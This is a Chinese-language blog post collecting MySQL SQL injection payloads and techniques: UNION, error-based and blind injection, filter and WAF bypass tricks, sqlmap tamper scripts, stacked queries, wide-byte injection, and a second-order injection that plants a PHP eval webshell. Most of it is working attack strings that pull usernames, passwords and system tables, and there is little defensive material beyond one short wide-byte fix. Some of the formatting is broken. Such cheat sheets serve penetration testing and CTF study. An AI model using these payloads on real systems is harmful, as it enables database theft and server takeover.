年轻人不要总熬夜

mysql注入tips

Posted on By jax777

Mysql一把梭

常用命令一把梭

  • 一些基本信息
    MySQL版本 version()
    当前用户名 user()
    数据库名 database()
    数据库路径 @@datadir
    操作系统版本 @@version_compile_os
    安装 MySQL 的安装路径 @@basedir
    

UNION注入一把梭

  • UNION注入

    注意:Mysql要大于5.0 ``` 找到注入点后获取字段数

order by num

查看哪些地方有字段的回显

id=-1 UNION SELECT 1,2…,n

- 获取系统数据库名

select null,null,schema_name from information_schema.schemata


- 直接获取当前数据库名

`select null,null,...,database()`

- 获取数据库中的表

select null,null,…,group_concat(table_name) from information_schema.tables where table_schema=database()


- 获取表中的字段

select null,null,…,group_concat(column_name) from information_schema.columns where table_schema=database() and tadble_name=’<你取得的表名>'


- 获取各个字段值
- 

select null,group_concat(<获取到的字段1>,<获取到的字段2>) from <当前表名>


- UNION + JOIN 注入

    适用于:逗号被过滤

union SELECT * FROM (SELECT 1)a JOIN (SELECT 1)b JOIN (SELECT database())c;


- 报错注入一把梭

    若有报错信息则选择报错注入

UpdateXml(有长度限制,最长32位)

id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

如果concat被过滤了,可以使用MAKE_SET函数

ExtractValue(有长度限制,最长32位)

id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))

如果concat被过滤了,可以使用MAKE_SET函数

exp(5.5.5以上)

普通查询 select exp(~(select*from(select user())x));

得到表名:

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

得到列名:

select exp(~(select*from(select column_name from information_schema.columns where table_name=’users’ limit 0,1)x));

检索数据:

select exp(~ (select*from(select concat_ws(‘:’,id, username, password) from users limit 0,1)x));

mysql>5.5.53时,则不能返回查询结果

floor(需要三个函数支持)

Select 1,count(),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)2))a from information_schema.columns group by a;

count(*)、rand()、group by三者缺一不可

floor完整的注入流程

其余报错

GeometryCollection()

id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))

polygon()

id =1 AND polygon((select * from(select * from(select user())a)b))

multipoint()

id = 1 AND multipoint((select * from(select * from(select user())a)b))

multilinestring()

id = 1 AND multilinestring((select * from(select * from(select user())a)b))

linestring()

id = 1 AND LINESTRING((select * from(select * from(select user())a)b))

multipolygon()

id =1 AND multipolygon((select * from(select * from(select user())a)b))

都不怎么好用 ```
  • 时间,布尔盲注一把梭 时间 ``` sleep

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23

if判断语句,条件为假,执行sleep

BENCHMARK

BENCHMARK(count,expr)

在运行过程中占用大量的cpu资源

笛卡尔积

’ and if(ascii(substr((select database()),%d,1))<%d,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.tables C),1)#

查询数据量极大的表造成延时。

- 不正确正则

select if(substr((select 1)=’1’,1,1),concat(rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’)) RLIKE ‘(a.)+(a.)+(a.)+(a.)+(a.)+(a.)+(a.*)+b’,1);


- 布尔

left(user(),1)>’r’
right(user(),1)>’r’
substr(user(),1,1)=’r’
mid(user(),1,1)=’r’ greatest(“sed”,database())= “sed” //返回最大值再与字符串比较 select least(“sea”,database())=”sea”; //返回最小值再与字符串比较

//不使用逗号 user() regexp ‘^[a-z]’ user() like ‘root%’ //注意_/%通配符,建议写脚本的时候时候写到字符集最后面 POSITION(‘root’ in user()) mid(user() from 1 for 1)=’r’ mid(user() from 1)=’r’ substr(user() from 1 for 1)=’r’ substr(user() from 1)=’r’

ASCII()、ORD()和CHAR()函数一般用做辅助。


## Bypass一把梭
- 过滤空格

两个空格代替一个空格,用Tab代替空格,注释代替空格

%20 %09 %0a %0b %0c %0d %a0 %00 /*/ /!*/


- 括号绕过空格

id=1’and(sleep(ascii(substr(database(),1,1))=109)) #

空格被过滤,括号没有被过滤,可以用括号绕过 ```
  • 过滤逗号
盲注(substr(),mid(),limit)

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

//对于limit可以使用offset来绕过
limit 0,1 等价于 limit 1 offset 0

直接替换为like注入

select user() like 'ro%'

注意通配符 %
  • union + join注入
    union select 1,2     
    等价于
    union select * from (select 1)a join (select 2)b
    

过滤比较符号

  • 过滤了等号 ``` 原代码:select * from users where id =1

regexp: select * from users where id REGEXP ‘^1$’

!<>: select * from users where !(id<>1)

in: select ‘user’ in (‘user’); 字符串都是可以用16进制代替的.

用函数绕过: strcmp(),locate(s1,s) , position(s1 in s) , instr(s,s1), greatest()


- 过滤了大于小于

greatest(a,b),返回a和b中较大的那个数。 select * from users where id=1 and ord(mid(database(),0,1))>1 等价 select * from users where id=1 and greatest(ord(mid(database(),0,1)),123)=123


- 过滤了if

case…when…then…else来代替

select * from users where id=1 and if(1=1,sleep(5),0) 等价于:

select * from users where id=1 and case when 1=1 then sleep(5) else 0 end


### 常见Bypass

PHP中一些常见的过滤方法及绕过方式

过滤关键字 and or php代码 preg_match(‘/(and|or)/i’,$id) 会过滤的攻击代码 1 or 1=1 1 and 1=1 绕过方式 1 || 1=1 1 && 1=1

过滤关键字 and or union php代码 preg_match(‘/(and|or|union)/i’,$id) 会过滤的攻击代码 union select user,password from users 绕过方式 1 && (select user from users where userid=1)=’admin’

过滤关键字 and or union where php代码 preg_match(‘/(and|or|union|where)/i’,$id) 会过滤的攻击代码 1 && (select user from users where user_id = 1) = ‘admin’ 绕过方式 1 && (select user from users limit 1) = ‘admin’

过滤关键字 and or union where php代码 preg_match(‘/(and|or|union|where)/i’,$id) 会过滤的攻击代码 1 && (select user from users where user_id = 1) = ‘admin’ 绕过方式 1 && (select user from users limit 1) = ‘admin’

过滤关键字 and, or, union, where, limit php代码 preg_match(‘/(and|or|union|where|limit)/i’, $id) 会过滤的攻击代码 1 && (select user from users limit 1) = ‘admin’ 绕过方式 1 && (select user from users group by user_id having user_id = 1) = ‘admin’#user_id聚合中user_id为1的user为admin

过滤关键字 and, or, union, where, limit, group by php代码 preg_match(‘/(and|or|union|where|limit|group by)/i’, $id) 会过滤的攻击代码 1 && (select user from users group by user_id having user_id = 1) = ‘admin’ 绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

过滤关键字 and, or, union, where, limit, group by, select php代码 preg_match(‘/(and|or|union|where|limit|group by|select)/i’, $id) 会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1 绕过方式 1 && substr(user,1,1) = ‘a’

过滤关键字 and, or, union, where, limit, group by, select, ‘ php代码 preg_match(‘/(and|or|union|where|limit|group by|select|')/i’, $id) 会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1 绕过方式 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)

过滤关键字 and, or, union, where, limit, group by, select, ‘, hex php代码 preg_match(‘/(and|or|union|where|limit|group by|select|'|hex)/i’, $id) 会过滤的攻击代码 1 && substr(user,1,1) = unhex(61) 绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。

过滤关键字 and, or, union, where, limit, group by, select, ‘, hex, substr php代码 preg_match(‘/(and|or|union|where|limit|group by|select|'|hex|substr)/i’, $id) 会过滤的攻击代码 1 && substr(user,1,1) = lower(conv(11,10,16))/td> 绕过方式 1 && lpad(user,7,1)

过滤关键字 and, or, union, where, limit, group by, select, ‘, hex, substr, 空格 php代码 preg_match(‘/(and|or|union|where|limit|group by|select|'|hex|substr|\s)/i’, $id) 会过滤的攻击代码 1 && lpad(user,7,1)/td> 绕过方式 1%0b||%0blpad(user,7,1)

过滤关键字 and or union where php代码 preg_match(‘/(and|or|union|where)/i’,$id) 会过滤的攻击代码 1 || (select user from users where user_id = 1) = ‘admin’ 绕过方式 1 || (select user from users limit 1) = ‘admin’



### MySQL下Update、Insert注入方法

- pow溢出报错

pow(x,y)表示计算x的y次方,当计算值过大时,会发生DOUBLE溢出,数据库报错

`select 1 and if(1=1,1,pow(2,2222222222222222222))`

    过滤了延时语句,正常页面与错误页面没有区别,当sql语句出错时会返回自定义的错误页面。


- XOR注入

admin’^(ascii(mid((password)from(i)))>j)^’1’=’1’%23 或者 admin’^(ascii(mid((password)from(i)for(1)))>j)^’1’=’1’%23

    过滤了关键字:and、or
    过滤了逗号,
    过滤了空格


- regexp注入

select (select语句) regexp ‘正则’

过滤了=、in、like ```

order by盲注

暂略

无列名注入

在不知道 MySQL 列名的情况下泄露数据的 SQL 注入技巧

-1 union select 1,(select `4` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)-- -

需要注意字段数,以及回显的地方,以及要查询的东西

适用于:数据泄露或者过滤关键字段名的一把梭

tamper一把梭

apostrophemask.py 用UTF-8全角字符替换单引号字符
apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
appendnullbyte.py 在payload末尾添加空字符编码
base64encode.py 对给定的payload全部字符使用Base64编码
between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py 用“LIKE”运算符替换全部等于号“=”
greatest.py 用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py 用小写值替换每个关键字字符
modsecurityversioned.py 用注释包围完整的查询
modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
multiplespaces.py 在SQL关键字周围添加多个空格
nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器
overlongutf8.py 转换给定的payload当中的所有字符
percentage.py 在每个字符之前添加一个百分号
randomcase.py 随机转换每个关键字字符的大小写
randomcomments.py 向SQL关键字中插入随机注释
securesphere.py 添加经过特殊构造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 用“/**/”替换空格符
space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符
space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py 用破折号注释符“–”其次是一个换行符替换空格符
space2plus.py 用加号“+”替换空格符
space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py 用MySQL注释包围每个非函数关键字
versionedmorekeywords.py 用MySQL注释包围每个关键字
xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF

上面 转自 > https://p2hm1n.github.io/2019/06/07/SQL%E6%B3%A8%E5%85%A5%E4%B8%80%E6%8A%8A%E6%A2%AD/#more

mysql pdo 支持多句执行

比如where后面还能不能update数据,显然我们只需用;闭合第一条SQL语句,在第二条SQL语句里update就行了。 WAF拦截特殊符号及select关键字的问题,我们使用prepare语法:
prepare a from 0x73656c656374202a2066726f6d206d7973716c2e757365723b;execute a; 将需要执行的任意SQL语句用hex编码,prepare后执行即可。


二次注入

register.php

$username = htmlspecialchars(filter($username));
$password = md5($password);
$name = htmlspecialchars(filter($name));
$limit = filter($limit);
$sql = "select uid from users where username = '$username'";
$result = mysql_query($sql);
if($row = mysql_fetch_array($result))
{
  header("location:register.php");exit;
}
$sql = "insert into users(`username`,`password`,`name`,`limit`) values('$username','$password','$name','$limit');";
$result = mysql_query($sql);
if($result)
{
  header("location:login.php");exit;
}
让message字段入库的时候以16进制写进数据库,只要是没有单引号包裹的16进制最后入库都会还原成原本的字符串。aa’,0x3c3f70687020406576616c28245f504f53545b615d293b3f3e)#

其中16进制是一句话的hex编码。这样的话 我们执行 insert into guestbook(`uid`,`name`, `message`) values('".$uid."','".$name."','".$message."')

#之后的被注释,0x3c3f70687020406576616c28245f504f53545b615d293b3f3e就是字段message的值,而且是没有单引号包裹的。所以当我们执行了insert操作之后。message字段的值就是<?php eval($_POST[a]);?>了
function filter($input)
{
  return $input;
}
foreach(array('_GET','_POST','_COOKIE') as $key){
    foreach($$key as $k =&gt; $v){
        if(is_array($v)){
            errorBox("hello,sangebaimao!");
        }else{
            $k[0] !='_'?$$k = addslashes($v):$$k = "";
        }
    }
}
所以所有参数的单引号,双引号,反斜杠被转义为:\' \" \\,但是带入sql语句执行后的结果就是各参数的值都被原样保留了下来。
name和username中的&,",',<,>被转换成HTML实体代码&成为&amp;"成为&quot;'成为';<成为 &lt;>成为&gt;</li>

二次注入点 limit 后

$name = $_SESSION['users'];
$uid = $_SESSION['uid'];
$num = $_SESSION['limit'];
$message = htmlspecialchars(filter($message));
$sql = "insert into guestbook(`uid`,`name`, `message`) values('".$uid."','".$name."','".$message."');";
$result = mysql_query($sql);
if($result)
  {
    header("location:main.php");
  }
$sql = "select id,name,message from guestbook where uid=".$uid." order by id desc limit 0,".$num.";";  
$result = mysql_query($sql);

宽字节

宽字节注入原理 有三种形式: (1)情景一:在PHP中使用mysql_query(“set names GBK”);指定三个字符集(客户端、连接层、结果集)都是GBK编码。 情景代码:

mysql_query(“set names GBK”);
$bar = addslashes($_GET[‘bar’]) ;
$sql = “select password from user where bar=’{$bar}’”;
$res = mysql_query($sql) ;

提交:http://127.0.0.1/foo.php?bar=admin%df%27 这时,发生如下转换: %df%27=====(addslashes)======>%df%5c%27======(GBK)======>運’ 带入sql为: Select password from user where bar=‘運’ 成功将单引号闭合。为了避免漏洞,网站一般会设置UTF-8编码,然后进行转义过滤。但是由于一些不经意的字符集转换,又会导致漏洞。

(2)情景二: 使用set names UTF-8指定了UTF-8字符集,并且也使用转义函数进行转义。有时候,为了避免乱码,会将一些用户提交的GBK字符使用iconv函数(或者mb_convert_encoding)先转为UTF-8,然后再拼接入SQL语句。 情景代码:

mysql_query(“set names UTF-8”) ;
$bar =iconv(“GBK”,”UTF-8”, addslashes($_GET[‘’bar])) ;
$sql = “select password from user where bar=’{$bar}’” ;
$res = mysql_query($sql) ;

我们可以看到,为了使得SQL语句中的字符集保持一致,一般都会使用iconv等字符集转换函数进行字符集转换,问题就是出在了GBK向UTF-8转换的过程中。 提交:http://127.0.0.1/foo.php?bar=%e5%5c%27 变换过程:(e55c转为UTF-8为e98ca6) e55c27====(addslashes)====>e55c5c5c27====(iconv)====>e98ca65c5c27 可以看到,多出了一个5c,将转义符(反斜杠)本身转义,使得后面的%27发挥了作用。 测试如下:

(3)情景三:使用iconv进行字符集转换,将UTF-8转为GBK,同时,set names字符集为GBK。提交%e9%8c%a6即可。 这个情景的大前提是先编码后转义: e98ca6====(iconv)=====>e55c=====(addslashes)====>e55c5c 同样可以多出一个反斜杠进行利用,在此不再详述,因为漏洞条件比较苛刻。

6、安全方案 对于宽字节编码,有一种最好的修补就是: (1)使用mysql_set_charset(GBK)指定字符集 (2)使用mysql_real_escape_string进行转义 原理是,mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面e5和5c拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢? 就是使用mysql_set_charset进行指定。 上述的两个条件是“与”运算的关系,少一条都不行。

报错

利用floor

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

我的注释:通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中则更新临时表中的数据;如 果该key不存在于临时表中,则在临时表中插入key所在行的数据。group by floor(random(0)2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)2)可能 为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。

利用ExtractValue

select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–

ERROR 1105 (HY000): XPATH syntax error: ’\admin888′ 我的注释:extractvalue()函数有两个参数,在实际注入时第一个参数设为1, 第二个参数就是需要爆的数据,如 extractvalue(1, concat(0x5c,version()))。同样,在使用中会遇到如下面UpdateXml()类似的相同问题,即果在爆的数据前不连接其他字符可 能会显示不完全。即获取版本号时,第二个参数不能为version(),而应改为concat(0x5c,version())

http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/index.php?uid=1%bf'and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables where table_schema=0x77696b69 limit 1)))%23
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/index.php?uid=1%bf'and extractvalue(1, concat(0x5c, (select key_flag from `[key_flag]` limit 1)))%23

利用UpdateXml 测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select
 user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

我的注释:UpdateXml()函数有三个参数,在实际渗透时第一个和第三个参数直接写1即可,第二个参数就是需要爆出的内容,要爆出不同的内容直接修改第二个参数即可。但是在实际使用时注意一个问题:即爆错的内容可能显示不完整。

5、join报错注入 利用表自己join自己。来达到列名相同来爆列名。参考文章:http://www.2cto.com/Article/201105/90933.html(绕过ids过滤information_schema接续灌注)。 下面以爆mysql.user表为例爆字段名的过程:

(1)爆第一个列名
select * from(select * from mysql.user a join mysql.user b)c;

(2)爆第二个列名(使用using)
select * from(select * from mysql.user a join mysql.user b using(Host))c;

(3)爆第三列名(还是使用using,参数是前两个列的列名)
select * from(select * from mysql.user a join mysql.user b using(Host,User))c;

依次类推,只要修改语句的using即可。
下面是使用join绕过ids的过程(ids过滤了information_schema)利用过程:
先本地构造测试表
create table users(id int,name varchar(20),passwd varchar(32));
insert into users value(1,’mickey’,’827ccb0eea8a706c4c34a16891f84e7b’);
create table news(is_admin int(1),id int(2),title varchar(100),date date);
insert into news values(1,1,’hello mickey’,now());

(1)爆列名
mysql> select *  from(select * from users a join users b)c;

mysql> select *  from(select * from users a join users b using(id))c;
mysql> select *  from(select * from users a join users b using(id,name))c;

(2)爆数据
select *  from(select * from users a join users b using(id,name,password))c